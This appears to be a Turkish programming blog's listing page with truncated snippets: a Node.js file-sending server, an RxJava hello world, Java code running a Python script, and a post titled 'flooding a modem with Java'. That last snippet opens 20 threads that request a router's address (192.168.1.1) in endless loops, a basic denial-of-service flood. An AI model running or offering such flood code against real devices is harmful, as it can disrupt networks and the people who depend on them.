code

NodeJs Send File Http

var http = require(‘http’), fileSystem = require(‘fs’), path = require(‘path’); var args = process.argv.slice(2); var filepath= args[0], port=args[1]; var filename = path.basename(filepath); if(!filepath){ console.log(‘filepath is required’); process.exit(); } if(!port){ port=2000; } console.log(‘File is sending at http://localhost:’+port); http.createServer(function(request, response) { var filePath = path.join(__dirname, filepath); var stat = fileSystem.statSync(filePath); response.writeHead(200, { ‘Content-Disposition’: ‘attachment; filename=”‘+filename+'”‘, ‘Content-Length’: stat.size …

NodeJs Send File Http Read More »

RxJava Hello World

<project xmlns=”http://maven.apache.org/POM/4.0.0″ xmlns:xsi=”http://www.w3.org/2001/XMLSchema-instance” xsi:schemaLocation=”http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd”> <modelVersion>4.0.0</modelVersion> <groupId>com.dogukanhan</groupId> <artifactId>rxexample</artifactId> <version>0.0.1-SNAPSHOT</version> <dependencies> <!– https://mvnrepository.com/artifact/io.reactivex.rxjava2/rxjava –> <dependency> <groupId>io.reactivex.rxjava2</groupId> <artifactId>rxjava</artifactId> <version>2.2.2</version> </dependency> </dependencies> </project> import io.reactivex.Observable; public class HelloWorldRx { public static void main(String args[]) { Observable.create(s->{ s.onNext(“Hello World”); s.onComplete(); }).subscribe(hello->System.out.println(hello)); } }  

Java da Python Script Çağırmak Çalıştırmak

public static void main(String args[]) throws IOException { Runtime rt = Runtime.getRuntime(); String[] commands = {“python”,CallAnotherProgram.class.getClassLoader().getResource(“script.py”).getPath()}; Process proc = rt.exec(commands); BufferedReader stdInput = new BufferedReader(new InputStreamReader(proc.getInputStream())); BufferedReader stdError = new BufferedReader(new InputStreamReader(proc.getErrorStream())); String s = null; while ((s = stdInput.readLine()) != null) { System.out.println(s); } while ((s = stdError.readLine()) != null) { System.out.println(s); } } …

Java da Python Script Çağırmak Çalıştırmak Read More »

Java ile Modem’e flood yapmak

import java.net.HttpURLConnection; import java.net.URL; public class Alffa { public static void main(String arsgs[]) { int a = 0; while(a++<20) new Thread(new Runnable() { int status = 0; @Override public void run() { while(true) try { URL url = new URL(“http://192.168.1.1″); HttpURLConnection connection = (HttpURLConnection) url.openConnection(); connection.getInputStream(); System.out.println(Thread.currentThread().getName()+”-“+status+++”,”+connection.getResponseCode()); } catch (Exception e) { e.printStackTrace(); } } …

Java ile Modem’e flood yapmak Read More »